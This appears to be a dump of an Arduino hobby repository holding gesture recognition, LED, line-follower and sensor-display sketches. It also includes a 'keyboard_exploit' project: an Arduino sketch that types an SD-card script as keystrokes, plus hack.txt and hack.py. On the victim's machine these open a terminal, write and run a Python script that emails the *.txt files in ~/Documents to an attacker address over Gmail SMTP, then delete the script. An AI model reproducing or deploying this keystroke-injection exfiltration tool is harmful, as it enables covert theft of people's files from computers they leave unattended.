(tflModel->version() != TFLITE_SCHEMA_VERSION) { 88 | Serial.println("Model schema mismatch!"); 89 | while (1); 90 | } 91 | // Create an interpreter to run the model 92 | tflInterpreter = new tflite::MicroInterpreter(tflModel, tflOpsResolver, tensorArena, tensorArenaSize, &tflErrorReporter); 93 | // Allocate memory for the model's input and output tensors 94 | tflInterpreter->AllocateTensors(); 95 | // Get pointers for the model's input and output tensors 96 | tflInputTensor = tflInterpreter->input(0); 97 | tflOutputTensor = tflInterpreter->output(0); 98 | pinMode(ledPin, OUTPUT); 99 | initBLE(); 100 | Serial.println("finished initialization"); 101 | } 102 | 103 | void loop() { 104 | //accept BLE connection 105 | centralBLE = BLE.central(); 106 | float aX, aY, aZ, gX, gY, gZ; 107 | // wait for significant motion 108 | while (samplesRead == numSamples) { 109 | if (!IMU.accelerationAvailable()) { 110 | break; 111 | } 112 | // read the acceleration data and sum up the absolutes 113 | IMU.readAcceleration(aX, aY, aZ); 114 | float aSum = fabs(aX) + fabs(aY) + fabs(aZ); 115 | // check if it's above the threshold 116 | if (aSum >= accelerationThreshold) { 117 | Serial.println("Begin reading gesture"); 118 | samplesRead = 0; 119 | digitalWrite(ledPin, HIGH); 120 | break; 121 | } 122 | } 123 | 124 | // check if the all the required samples have been read since 125 | // the last time the significant motion was detected 126 | while (samplesRead < numSamples) { 127 | // check if new acceleration AND gyroscope data is available 128 | if (!(IMU.accelerationAvailable() && IMU.gyroscopeAvailable())) { 129 | break; 130 | } 131 | // read the acceleration and gyroscope data 132 | IMU.readAcceleration(aX, aY, aZ); 133 | IMU.readGyroscope(gX, gY, gZ); 134 | 135 | // normalize the IMU data between 0 to 1 and store in the model's input tensor 136 | tflInputTensor->data.f[samplesRead * 6 + 0] = (aX + 4.0) / 8.0; 137 | tflInputTensor->data.f[samplesRead * 6 + 1] = (aY + 4.0) / 8.0; 138 | tflInputTensor->data.f[samplesRead * 6 + 2] = (aZ + 4.0) / 8.0; 139 | tflInputTensor->data.f[samplesRead * 6 + 3] = (gX + 2000.0) / 4000.0; 140 | tflInputTensor->data.f[samplesRead * 6 + 4] = (gY + 2000.0) / 4000.0; 141 | tflInputTensor->data.f[samplesRead * 6 + 5] = (gZ + 2000.0) / 4000.0; 142 | samplesRead++; 143 | if (samplesRead == numSamples) { 144 | // Run inferencing 145 | digitalWrite(ledPin, LOW); 146 | Serial.println("Finished reading gesture"); 147 | TfLiteStatus invokeStatus = tflInterpreter->Invoke(); 148 | if (invokeStatus != kTfLiteOk) { 149 | Serial.println("Invoke failed!"); 150 | while (1); 151 | return; 152 | } 153 | transmitData(); 154 | } 155 | } 156 | } 157 | 158 | void transmitData() { 159 | // Loop through the output tensor values from the model 160 | int maxPosition = 0; 161 | float maxValue = 0; 162 | for (int i = 0; i < NUM_GESTURES; i++) { 163 | Serial.print(GESTURES[i]);Serial.print(": "); 164 | Serial.println(tflOutputTensor->data.f[i], 6); 165 | if (maxValue < tflOutputTensor->data.f[i]) { 166 | maxValue = tflOutputTensor->data.f[i]; 167 | maxPosition = i; 168 | } 169 | } 170 | Serial.println("Highest probability:"); 171 | Serial.print(maxPosition);Serial.print(": "); 172 | Serial.println(maxValue, 6); 173 | Serial.println(); 174 | if (centralBLE) { 175 | if (centralBLE.connected()) { 176 | gestureCharacteristic.writeValue(maxPosition); 177 | } 178 | } 179 | } 180 | 181 | void initBLE() { 182 | if (!BLE.begin()) { 183 | Serial.println("starting BLE failed!"); 184 | while (1); 185 | } 186 | // set advertised local name and service UUID: 187 | BLE.setLocalName("GESTURE"); 188 | BLE.setAdvertisedService(gestureService); 189 | gestureService.addCharacteristic(gestureCharacteristic); 190 | BLE.addService(gestureService); 191 | // set the initial value for the characeristic: 192 | gestureCharacteristic.writeValue(0); 193 | BLE.advertise(); 194 | } 195 | -------------------------------------------------------------------------------- /projects/giroscope_led_controll/giroscope_led_controll.ino: -------------------------------------------------------------------------------- 1 | /** 2 | * Simple implementation false 3 | * 4 | * means that for pitch/yaw there only be 5 | * a single led for each direction. The led will get more bright 6 | * as the direction increases 7 | * 8 | * Simple implementation true 9 | * means that for pitch/yaw there will be multiple led's that light up one by one 10 | * 11 | * The accelerometer/gyro is a MPU6050, it should be wired to the SDA and SCL pins 12 | */ 13 | #define SIMPLE_IMPLEMENTATION false 14 | 15 | const int frontLed = 3; 16 | const int bottomLed = 5; 17 | const int rightLed = 6; 18 | const int leftLed = 9; 19 | long int lastPrintTime; 20 | 21 | typedef struct 22 | { 23 | byte pin; 24 | byte positionInsideGroup; 25 | char thePosition; // Left, Right, Up, Down 26 | byte minAngle; 27 | byte maxAngle; 28 | } ledConfig; 29 | 30 | typedef struct 31 | { 32 | byte maximumAcceptedMovement = 4; 33 | unsigned int millisToConsiderStill = 3000; 34 | byte firstActualAngle = 0; 35 | unsigned long firstActualAngleMillis = 0; 36 | } axysStillness; 37 | axysStillness xAxys; 38 | 39 | ledConfig leds[] = { 40 | {3, 1, 'u', 31, 45}, 41 | {12, 2, 'u', 16, 30}, 42 | {11, 3, 'u', 5, 15}, 43 | {5, 1, 'd', 5, 15}, 44 | {6, 2, 'd', 16, 30}, 45 | {7, 3, 'd', 31, 45}, 46 | {8 , 1, 'r', 5, 23}, 47 | {9, 2, 'r', 24, 45}, 48 | {10, 1, 'l', 5, 23}, 49 | {4, 2, 'l', 24, 45}, 50 | }; 51 | 52 | #include "I2Cdev.h" 53 | #include "MPU6050_6Axis_MotionApps20.h" 54 | #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE 55 | #include "Wire.h" 56 | #endif 57 | 58 | MPU6050 mpu; 59 | 60 | bool dmpReady = false; // set true if DMP init was successful 61 | uint8_t mpuIntStatus; // holds actual interrupt status byte from MPU 62 | uint8_t devStatus; // return status after each device operation (0 = success, !0 = error) 63 | uint16_t packetSize; // expected DMP packet size (default is 42 bytes) 64 | uint16_t fifoCount; // count of all bytes currently in FIFO 65 | uint8_t fifoBuffer[64]; // FIFO storage buffer 66 | 67 | // orientation/motion vars 68 | Quaternion q; // [w, x, y, z] quaternion container 69 | VectorInt16 aa; // [x, y, z] accel sensor measurements 70 | VectorInt16 aaReal; // [x, y, z] gravity-free accel sensor measurements 71 | VectorInt16 aaWorld; // [x, y, z] world-frame accel sensor measurements 72 | VectorFloat gravity; // [x, y, z] gravity vector 73 | float euler[3]; // [psi, theta, phi] Euler angle container 74 | float ypr[3]; // [yaw, pitch, roll] yaw/pitch/roll container and gravity vector 75 | volatile bool mpuInterrupt = false; // indicates whether MPU interrupt pin has gone high 76 | 77 | void setup() 78 | { 79 | #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE 80 | Wire.begin(); 81 | TWBR = 24; // 400kHz I2C clock (200kHz if CPU is 8MHz) 82 | #elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE 83 | Fastwire::setup(400, true); 84 | #endif 85 | 86 | Serial.begin(9600); 87 | while (!Serial); // wait for Leonardo enumeration, others continue immediately 88 | Serial.println(F("Initializing I2C devices...")); 89 | mpu.initialize(); 90 | Serial.println(F("Testing device connections...")); 91 | Serial.println(mpu.testConnection() ? F("MPU6050 connection successful") : F("MPU6050 connection failed")); 92 | Serial.println(F("Initializing DMP...")); 93 | devStatus = mpu.dmpInitialize(); 94 | mpu.setXGyroOffset(220); 95 | mpu.setYGyroOffset(76); 96 | mpu.setZGyroOffset(-85); 97 | mpu.setZAccelOffset(1788); // 1688 factory default for my test chip 98 | if (devStatus == 0) { 99 | // turn on the DMP, now that it's ready 100 | Serial.println(F("Enabling DMP...")); 101 | mpu.setDMPEnabled(true); 102 | Serial.println(F("Enabling interrupt detection (Arduino external interrupt 0)...")); 103 | attachInterrupt(0, dmpDataReady, RISING); 104 | mpuIntStatus = mpu.getIntStatus(); 105 | Serial.println(F("DMP ready! Waiting for first interrupt...")); 106 | dmpReady = true; 107 | packetSize = mpu.dmpGetFIFOPacketSize(); 108 | } else { 109 | Serial.print(F("DMP Initialization failed (code ")); 110 | Serial.print(devStatus); 111 | Serial.println(F(")")); 112 | } 113 | if (SIMPLE_IMPLEMENTATION) { 114 | initializeLEDsSimple(); 115 | } else { 116 | initializeLEDsMultiple(); 117 | } 118 | lastPrintTime = millis(); 119 | } 120 | 121 | void updateStillness(byte angle, bool forceReset) 122 | { 123 | if (abs(xAxys.firstActualAngle - angle) > xAxys.maximumAcceptedMovement || forceReset) { 124 | xAxys.firstActualAngle = angle; 125 | xAxys.firstActualAngleMillis = millis(); 126 | } 127 | } 128 | 129 | bool isAxysStill(byte angle) 130 | { 131 | return millis() - xAxys.firstActualAngleMillis >= xAxys.millisToConsiderStill; 132 | } 133 | 134 | void loop() 135 | { 136 | if (!dmpReady) return; 137 | mpuInterrupt = false; 138 | mpuIntStatus = mpu.getIntStatus(); 139 | fifoCount = mpu.getFIFOCount(); 140 | if ((mpuIntStatus & 0x10) || fifoCount == 1024) { 141 | mpu.resetFIFO(); 142 | Serial.println(F("FIFO overflow!")); 143 | } else if (mpuIntStatus & 0x02) { 144 | while (fifoCount < packetSize) { 145 | fifoCount = mpu.getFIFOCount(); 146 | } 147 | mpu.getFIFOBytes(fifoBuffer, packetSize); 148 | fifoCount -= packetSize; 149 | mpu.dmpGetQuaternion(&q, fifoBuffer); 150 | mpu.dmpGetGravity(&gravity, &q); 151 | mpu.dmpGetYawPitchRoll(ypr, &q, &gravity); 152 | int x = ypr[0] * 180/M_PI; 153 | int y = ypr[1] * 180/M_PI; 154 | int z = ypr[2] * 180/M_PI; 155 | //Serial.print(y);Serial.print("\t");Serial.println(z); 156 | updateStillness(x, false); 157 | if (isAxysStill(x)) { 158 | Serial.println("axys still at"); 159 | Serial.println(x); 160 | updateStillness(x, true); 161 | } 162 | if (SIMPLE_IMPLEMENTATION) { 163 | flashLEDsSimple(x, y, z); 164 | } else { 165 | flashLEDsMultiple(x, y, z); 166 | } 167 | } 168 | } 169 | 170 | void initializeLEDsSimple() 171 | { 172 | pinMode(frontLed, OUTPUT); 173 | pinMode(bottomLed, OUTPUT); 174 | pinMode(rightLed, OUTPUT); 175 | pinMode(leftLed, OUTPUT); 176 | } 177 | 178 | void initializeLEDsMultiple() 179 | { 180 | for (int i=0; i<10; i++) { 181 | Serial.println(leds[i].pin); 182 | pinMode(leds[i].pin, OUTPUT); 183 | } 184 | delay(3000); 185 | } 186 | 187 | void flashLEDsSimple(int x, int y, int z) 188 | { 189 | if (y > 0) { 190 | analogWrite(rightLed, y*4); 191 | analogWrite(leftLed, 0); 192 | } else { 193 | analogWrite(leftLed, y*4*-1); 194 | analogWrite(rightLed, 0); 195 | } 196 | if (z > 0) { 197 | analogWrite(bottomLed, z*4); 198 | analogWrite(frontLed, 0); 199 | } else { 200 | analogWrite(frontLed, z*4*-1); 201 | analogWrite(bottomLed, 0); 202 | } 203 | } 204 | 205 | void flashLEDsMultiple(int x, int y, int z) 206 | { 207 | for (int i=0; i<10; i++) { 208 | //Serial.print(z);Serial.print(",");Serial.print(leds[i].thePosition);Serial.print(",");Serial.println(leds[i].minAngle); 209 | bool modified = false; 210 | if (z < 0 && leds[i].thePosition == 'u' && abs(z) > leds[i].minAngle) { 211 | digitalWrite(leds[i].pin, HIGH); 212 | modified = true; 213 | } 214 | if (z > 0 && leds[i].thePosition == 'd' && abs(z) > leds[i].minAngle) { 215 | digitalWrite(leds[i].pin, HIGH); 216 | modified = true; 217 | } 218 | if (y < 0 && leds[i].thePosition == 'l' && abs(y) > leds[i].minAngle) { 219 | digitalWrite(leds[i].pin, HIGH); 220 | modified = true; 221 | } 222 | if (y > 0 && leds[i].thePosition == 'r' && abs(y) > leds[i].minAngle) { 223 | digitalWrite(leds[i].pin, HIGH); 224 | modified = true; 225 | } 226 | if (!modified) { 227 | digitalWrite(leds[i].pin, LOW); 228 | } 229 | } 230 | } 231 | 232 | void dmpDataReady() 233 | { 234 | mpuInterrupt = true; 235 | } -------------------------------------------------------------------------------- /projects/keyboard_exploit/hack.py: -------------------------------------------------------------------------------- 1 | import smtplib 2 | import glob, os 3 | from os.path import expanduser 4 | from email.MIMEMultipart import MIMEMultipart 5 | from email.MIMEBase import MIMEBase 6 | from email.MIMEText import MIMEText 7 | from email.Utils import COMMASPACE, formatdate 8 | from email import Encoders 9 | 10 | smtp_user = 'sender_gmail_address' 11 | smtp_pass = 'sender_gmail_password' 12 | to_address = 'receiver_address' 13 | scan_documents_location = 'Documents' 14 | 15 | subject = body = 'Files from hacked computer' 16 | header = 'To :{0}\nFrom : {1}\nSubject : {2}\n'.format(to_address, smtp_user, subject) 17 | 18 | def sendMail(to, subject, text, files=[]): 19 | msg = MIMEMultipart() 20 | msg['From'] = smtp_user 21 | msg['To'] = COMMASPACE.join(to) 22 | msg['Date'] = formatdate(localtime=True) 23 | msg['Subject'] = subject 24 | msg.attach(MIMEText(text)) 25 | for file in files: 26 | part = MIMEBase('application', "octet-stream") 27 | part.set_payload(open(file,"rb").read()) 28 | Encoders.encode_base64(part) 29 | part.add_header('Content-Disposition', 'attachment; filename="%s"' 30 | % os.path.basename(file)) 31 | msg.attach(part) 32 | 33 | server = smtplib.SMTP('smtp.gmail.com:587') 34 | server.starttls() 35 | server.login(smtp_user, smtp_pass) 36 | server.sendmail(smtp_user, to, msg.as_string()) 37 | server.quit() 38 | 39 | sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location))) -------------------------------------------------------------------------------- /projects/keyboard_exploit/hack.txt: -------------------------------------------------------------------------------- 1 | Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t 2 | Sleep::500 3 | vi hack.py 4 | Sleep::300 5 | Command::KEY_INSERT 6 | import smtplib 7 | import glob, os 8 | from os.path import expanduser 9 | from email.MIMEMultipart import MIMEMultipart 10 | from email.MIMEBase import MIMEBase 11 | from email.MIMEText import MIMEText 12 | from email.Utils import COMMASPACE, formatdate 13 | from email import Encoders 14 | 15 | smtp_user = 'sender_gmail_address' 16 | smtp_pass = 'sender_gmail_password' 17 | to_address = 'receiver_address' 18 | scan_documents_location = 'Documents' 19 | 20 | subject = body = 'Files from hacked computer' 21 | header = 'To :{0}\nFrom : {1}\nSubject : {2}\n'.format(to_address, smtp_user, subject) 22 | 23 | def sendMail(to, subject, text, files=[]): 24 | msg = MIMEMultipart() 25 | msg['From'] = smtp_user 26 | msg['To'] = COMMASPACE.join(to) 27 | msg['Date'] = formatdate(localtime=True) 28 | msg['Subject'] = subject 29 | msg.attach(MIMEText(text)) 30 | for file in files: 31 | part = MIMEBase('application', "octet-stream") 32 | part.set_payload(open(file,"rb").read()) 33 | Encoders.encode_base64(part) 34 | part.add_header('Content-Disposition', 'attachment; filename="%s"' 35 | % os.path.basename(file)) 36 | msg.attach(part) 37 | 38 | server = smtplib.SMTP('smtp.gmail.com:587') 39 | server.starttls() 40 | server.login(smtp_user, smtp_pass) 41 | server.sendmail(smtp_user, to, msg.as_string()) 42 | server.quit() 43 | 44 | sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location))) 45 | Sleep::50 46 | Command::KEY_ESC 47 | Sleep::100 48 | :x 49 | Sleep::500 50 | nohup python hack.py & 51 | Sleep::700 52 | rm -rf hack.py 53 | Sleep::400 54 | Command::KEY_LEFT_ALT,KEY_F4 -------------------------------------------------------------------------------- /projects/keyboard_exploit/keyboard_exploit.ino: -------------------------------------------------------------------------------- 1 | #include "Keyboard.h" 2 | #include 3 | #include 4 | 5 | String filenameOnCard = "hack.txt"; 6 | String sleepCommandStartingPoint = "Sleep::"; 7 | String commandStartingPoint = "Command::"; 8 | int delayBetweenCommands = 10; 9 | const int buttonPin = 8; 10 | const int chipSelect = 10; 11 | int previousButtonState = HIGH; 12 | 13 | void setup() { 14 | pinMode(buttonPin, INPUT); 15 | Serial.begin(9600); 16 | Keyboard.begin(); 17 | if (!SD.begin(chipSelect)) { 18 | Serial.println("Card failed, or not present!"); 19 | return; 20 | } 21 | } 22 | 23 | void loop() { 24 | int buttonState = digitalRead(buttonPin); 25 | if ((buttonState != previousButtonState) && (buttonState == HIGH)) { 26 | sdFileToKeyboard(); 27 | Serial.println("Uploaded!"); 28 | delay(500); 29 | } 30 | previousButtonState = buttonState; 31 | } 32 | 33 | void sdFileToKeyboard() { 34 | File dataFile = SD.open(filenameOnCard); 35 | if (!dataFile) { 36 | Serial.println("The specified filename is not present on SD card, check filenameOnCard !"); 37 | } 38 | String line; 39 | while (dataFile.available()) { 40 | line = dataFile.readStringUntil('\n'); 41 | Serial.println(line); 42 | sendToKeyboard(line); 43 | } 44 | dataFile.close(); 45 | } 46 | 47 | void sendToKeyboard(String line) { 48 | String workingLine = line; 49 | if (workingLine.indexOf(sleepCommandStartingPoint) != -1) { 50 | sleepFor(line); 51 | return; 52 | } 53 | if (workingLine.indexOf(commandStartingPoint) == -1) { 54 | Serial.print("Text:");Serial.println(line); 55 | Keyboard.println(line); 56 | pressEnter(); 57 | return; 58 | } 59 | 60 | Serial.println("Command:"); 61 | int charPosition = commandStartingPoint.length(); 62 | int lineLength = line.length(); 63 | workingLine += ","; 64 | 65 | while (workingLine != "") { 66 | workingLine = workingLine.substring(charPosition); 67 | Serial.print("WorkingLine:");Serial.println(workingLine); 68 | int specialCommandDelimiterPosition = workingLine.indexOf(","); 69 | String command = workingLine.substring(0, specialCommandDelimiterPosition); 70 | charPosition = specialCommandDelimiterPosition + 1; 71 | if (command != "") { 72 | Serial.print("Command found:");Serial.println(command); 73 | Keyboard.press(getCommandCode(command)); 74 | delay(delayBetweenCommands); 75 | } 76 | } 77 | Keyboard.releaseAll(); 78 | delay(delayBetweenCommands); 79 | } 80 | 81 | void pressEnter() { 82 | Keyboard.press(KEY_RETURN); 83 | Keyboard.releaseAll(); 84 | } 85 | 86 | void sleepFor(String line) { 87 | int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); 88 | Serial.print("Sleeping for:");Serial.println(sleepAmount); 89 | delay(sleepAmount); 90 | } 91 | 92 | char getCommandCode(String text) { 93 | char textCharacters[2]; 94 | text.toCharArray(textCharacters, 2); 95 | char code = textCharacters[0]; 96 | 97 | code = (text == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL : code; 98 | code = (text == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT : code; 99 | code = (text == "KEY_LEFT_ALT") ? KEY_LEFT_ALT : code; 100 | code = (text == "KEY_UP_ARROW") ? KEY_UP_ARROW : code; 101 | code = (text == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW : code; 102 | code = (text == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW : code; 103 | code = (text == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW : code; 104 | code = (text == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI : code; 105 | code = (text == "KEY_BACKSPACE") ? KEY_BACKSPACE : code; 106 | code = (text == "KEY_TAB") ? KEY_TAB : code; 107 | code = (text == "KEY_RETURN") ? KEY_RETURN : code; 108 | code = (text == "KEY_ESC") ? KEY_ESC : code; 109 | code = (text == "KEY_INSERT") ? KEY_INSERT : code; 110 | code = (text == "KEY_DELETE") ? KEY_DELETE : code; 111 | code = (text == "KEY_PAGE_UP") ? KEY_PAGE_UP : code; 112 | code = (text == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN : code; 113 | code = (text == "KEY_HOME") ? KEY_HOME : code; 114 | code = (text == "KEY_END") ? KEY_END : code; 115 | code = (text == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK : code; 116 | code = (text == "KEY_F1") ? KEY_F1 : code; 117 | code = (text == "KEY_F2") ? KEY_F2 : code; 118 | code = (text == "KEY_F3") ? KEY_F3 : code; 119 | code = (text == "KEY_F4") ? KEY_F4 : code; 120 | code = (text == "KEY_F5") ? KEY_F5 : code; 121 | code = (text == "KEY_F6") ? KEY_F6 : code; 122 | code = (text == "KEY_F7") ? KEY_F7 : code; 123 | code = (text == "KEY_F8") ? KEY_F8 : code; 124 | code = (text == "KEY_F9") ? KEY_F9 : code; 125 | code = (text == "KEY_F10") ? KEY_F10 : code; 126 | code = (text == "KEY_F11") ? KEY_F1 : code; 127 | code = (text == "KEY_F12") ? KEY_F2 : code; 128 | 129 | return code; 130 | } 131 | 132 | -------------------------------------------------------------------------------- /projects/keyboard_exploit/sketch.fzz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/keyboard_exploit/sketch.fzz -------------------------------------------------------------------------------- /projects/keyboard_exploit/sketch_bb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/keyboard_exploit/sketch_bb.png -------------------------------------------------------------------------------- /projects/line_follower/line_follower.ino: -------------------------------------------------------------------------------- 1 | // CustomStepper https://playground.arduino.cc/Main/CustomStepper 2 | #include 3 | 4 | CustomStepper leftMotor(6, 7, 8, 9, (byte[]) {8, B1000, B1100, B0100, B0110, B0010, B0011, B0001, B1001}, 4075.7728395, 12, CCW); 5 | CustomStepper rightMotor(2, 3, 4, 5, (byte[]) {8, B1000, B1100, B0100, B0110, B0010, B0011, B0001, B1001}, 4075.7728395, 12, CW); 6 | 7 | //#define DEBUG true; 8 | float Kp=6, Ki=0, Kd=0; 9 | float error=0, P=0, I=0, D=0, PID_value=0; 10 | float previous_error=0, previous_I=0; 11 | int sensor[5] = {0, 0, 0, 0, 0}; 12 | const int maxSpeed = 20; 13 | long lastTransmitted; 14 | int lastDefinedError = 0; 15 | long minTransmittingInterval = 1000; 16 | long maxTransmittingInterval = 1200; 17 | 18 | struct errorMap 19 | { 20 | int left1; 21 | int left2; 22 | int middle; 23 | int right1; 24 | int right2; 25 | int error; 26 | }; 27 | errorMap sensorErrorMap[] = 28 | { 29 | {1, 1, 1, 1, 0, 4}, 30 | {1, 1, 1, 0, 0, 3}, 31 | {1, 1, 1, 0, 1, 2}, 32 | {1, 1, 0, 0, 1, 1}, 33 | {1, 1, 0, 1, 1, 0}, 34 | {1, 0, 0, 1, 1, -1}, 35 | {1, 0, 1, 1, 1, -2}, 36 | {0, 0, 1, 1, 1, -3}, 37 | {0, 1, 1, 1, 1, -4}, 38 | }; 39 | 40 | void read_sensor_values(void); 41 | void calculate_pid(void); 42 | void motor_control(void); 43 | 44 | void setup() 45 | { 46 | Serial.begin(9600); 47 | leftMotor.setSPR(4075.7728395); 48 | rightMotor.setSPR(4075.7728395); 49 | leftMotor.rotate(); 50 | rightMotor.rotate(); 51 | lastTransmitted = millis(); 52 | } 53 | 54 | void loop() 55 | { 56 | read_sensor_values(); 57 | calculate_pid(); 58 | motor_control(); 59 | leftMotor.run(); 60 | rightMotor.run(); 61 | } 62 | 63 | void read_sensor_values() 64 | { 65 | sensor[0] = digitalRead(A0); 66 | sensor[1] = digitalRead(A1); 67 | sensor[2] = digitalRead(A2); 68 | sensor[3] = digitalRead(A3); 69 | sensor[4] = digitalRead(A4); 70 | for (byte i = 0; i < 9; i++) { 71 | if (sensor[0] == sensorErrorMap[i].left1 && sensor[1] == sensorErrorMap[i].left2 && 72 | sensor[2] == sensorErrorMap[i].middle && sensor[3] == sensorErrorMap[i].right1 && 73 | sensor[4] == sensorErrorMap[i].right2) { 74 | error = sensorErrorMap[i].error; 75 | } 76 | if (sensor[0] + sensor[1] + sensor[2] + sensor[3] + sensor[4] == 5) { 77 | error = lastDefinedError; 78 | } else { 79 | lastDefinedError = error; 80 | } 81 | } 82 | #if defined(DEBUG) 83 | print("Error=", false);print(String(error), true); 84 | #endif 85 | } 86 | 87 | void calculate_pid() 88 | { 89 | P = error; 90 | I = I + previous_error; 91 | D = error - previous_error; 92 | PID_value = (Kp * P) + (Ki * I) + (Kd * D); 93 | previous_I = I; 94 | previous_error = error; 95 | #if defined(DEBUG) 96 | print("PID=", false);print(String(PID_value), true); 97 | delay(500); 98 | #endif 99 | } 100 | 101 | void setMotorSpeed(int left, int right) 102 | { 103 | leftMotor.setRPM(left); 104 | rightMotor.setRPM(right); 105 | } 106 | 107 | void motor_control() 108 | { 109 | int leftMotorSpeed = maxSpeed + PID_value; 110 | int rightMotorSpeed = maxSpeed - PID_value; 111 | 112 | leftMotorSpeed = constrain(leftMotorSpeed, 0, maxSpeed); 113 | rightMotorSpeed = constrain(rightMotorSpeed, 0, maxSpeed); 114 | #if defined(DEBUG) 115 | print("left=", false);print(String(leftMotorSpeed), true); 116 | print("right=", false);print(String(rightMotorSpeed), true); 117 | #endif 118 | setMotorSpeed(leftMotorSpeed, rightMotorSpeed); 119 | } 120 | 121 | void print(String stuff, boolean newline) 122 | { 123 | if (millis() - lastTransmitted < minTransmittingInterval) { 124 | return; 125 | } 126 | if (millis() - lastTransmitted > maxTransmittingInterval) { 127 | lastTransmitted = millis(); 128 | } 129 | if (newline) { 130 | Serial.println(stuff); 131 | } else { 132 | Serial.print(stuff); 133 | } 134 | 135 | delay(3); 136 | } 137 | 138 | -------------------------------------------------------------------------------- /projects/line_follower/sketch.fzz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/line_follower/sketch.fzz -------------------------------------------------------------------------------- /projects/line_follower/sketch_bb.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/line_follower/sketch_bb.jpg -------------------------------------------------------------------------------- /projects/multisensor_display/.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | multisensor_display 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /projects/multisensor_display/multisensor_display.ino: -------------------------------------------------------------------------------- 1 | /* 2 | * Libraries used by this project: 3 | * 4 | * GOFi2cOLED: https://github.com/hramrach/GOFi2cOLED 5 | * Adafruit_MLX90614: https://github.com/adafruit/Adafruit-MLX90614-Library 6 | * Adafruit_Sensor: https://github.com/adafruit/Adafruit_Sensor 7 | * Adafruit_BME280: https://github.com/adafruit/Adafruit_BME280_Library 8 | * Adafruit_VEML6070: https://github.com/adafruit/Adafruit_VEML6070 9 | */ 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include "Adafruit_VEML6070.h" 16 | 17 | GOFi2cOLED GOFoled; 18 | Adafruit_MLX90614 mlx = Adafruit_MLX90614(); 19 | Adafruit_BME280 bme; 20 | Adafruit_VEML6070 uv = Adafruit_VEML6070(); 21 | 22 | struct sensorData 23 | { 24 | int uv; 25 | byte humidity; 26 | int pressure; 27 | int ambientTemperature; 28 | int pointTemperature; 29 | }; 30 | 31 | sensorData sensors; 32 | const byte buttonPin = 2; 33 | const byte nrMetrics = 5; 34 | volatile byte selectedMetric = 0; 35 | 36 | void setup() 37 | { 38 | Serial.begin(9600); 39 | pinMode(buttonPin, INPUT_PULLUP); 40 | attachInterrupt(digitalPinToInterrupt(buttonPin), buttonPressed, RISING); 41 | initializeDisplay(); 42 | initializeSensors(); 43 | } 44 | 45 | void loop() 46 | { 47 | collectSensorsData(); 48 | clearDisplay(); 49 | writeSensorDataOnDisplayBuffer(); 50 | doDisplay(); 51 | Serial.println(selectedMetric); 52 | delay(1000); 53 | } 54 | 55 | void initializeDisplay() 56 | { 57 | GOFoled.init(0x3C); 58 | GOFoled.clearDisplay(); 59 | GOFoled.setCursor(0, 0); 60 | } 61 | 62 | void initializeSensors() 63 | { 64 | mlx.begin(); 65 | bme.begin(); 66 | uv.begin(VEML6070_1_T); 67 | } 68 | 69 | void setDisplayText(byte fontSize, String label, String data) 70 | { 71 | GOFoled.setTextSize(fontSize); 72 | GOFoled.println(label + ":" + data); 73 | } 74 | 75 | void setDisplayText(byte fontSize, byte x, byte y, String data) 76 | { 77 | GOFoled.setTextSize(fontSize); 78 | GOFoled.setCursor(x, y); 79 | GOFoled.println(data); 80 | } 81 | 82 | void doDisplay() 83 | { 84 | GOFoled.display(); 85 | } 86 | 87 | void clearDisplay() 88 | { 89 | GOFoled.clearDisplay(); 90 | GOFoled.setCursor(0, 0); 91 | } 92 | 93 | void collectSensorsData() 94 | { 95 | sensors.ambientTemperature = mlx.readAmbientTempC(); 96 | sensors.pointTemperature = mlx.readObjectTempC(); 97 | sensors.ambientTemperature = bme.readTemperature(); 98 | sensors.pressure = bme.readPressure() / 100.0F; 99 | sensors.humidity = bme.readHumidity(); 100 | sensors.uv = uv.readUV(); 101 | } 102 | 103 | void writeSensorDataOnDisplayBuffer() 104 | { 105 | setDisplayText(1, getSelectedText(0, "Amb T"), String(sensors.ambientTemperature)); 106 | setDisplayText(1, getSelectedText(1, "Point T"), String(sensors.pointTemperature)); 107 | setDisplayText(1, getSelectedText(2, "Pressure"), String(sensors.pressure)); 108 | setDisplayText(1, getSelectedText(3, "Humidity"), String(sensors.humidity)); 109 | setDisplayText(1, getSelectedText(4, "Uv"), String(sensors.uv)); 110 | setDisplayText(2, 60, 40, String(getSelectedMetric())); 111 | } 112 | 113 | String getSelectedText(byte position, String text) 114 | { 115 | return position == selectedMetric ? "*" + text : text; 116 | } 117 | 118 | String getSelectedMetric() 119 | { 120 | switch (selectedMetric) { 121 | case 0: 122 | return String(sensors.ambientTemperature); 123 | case 1: 124 | return String(sensors.pointTemperature); 125 | case 2: 126 | return String(sensors.pressure); 127 | case 3: 128 | return String(sensors.humidity); 129 | case 4: 130 | return String(sensors.uv); 131 | default: 132 | return String(sensors.ambientTemperature); 133 | } 134 | } 135 | 136 | void buttonPressed() 137 | { 138 | selectedMetric = selectedMetric < nrMetrics - 1 ? selectedMetric + 1 : 0; 139 | } 140 | 141 | -------------------------------------------------------------------------------- 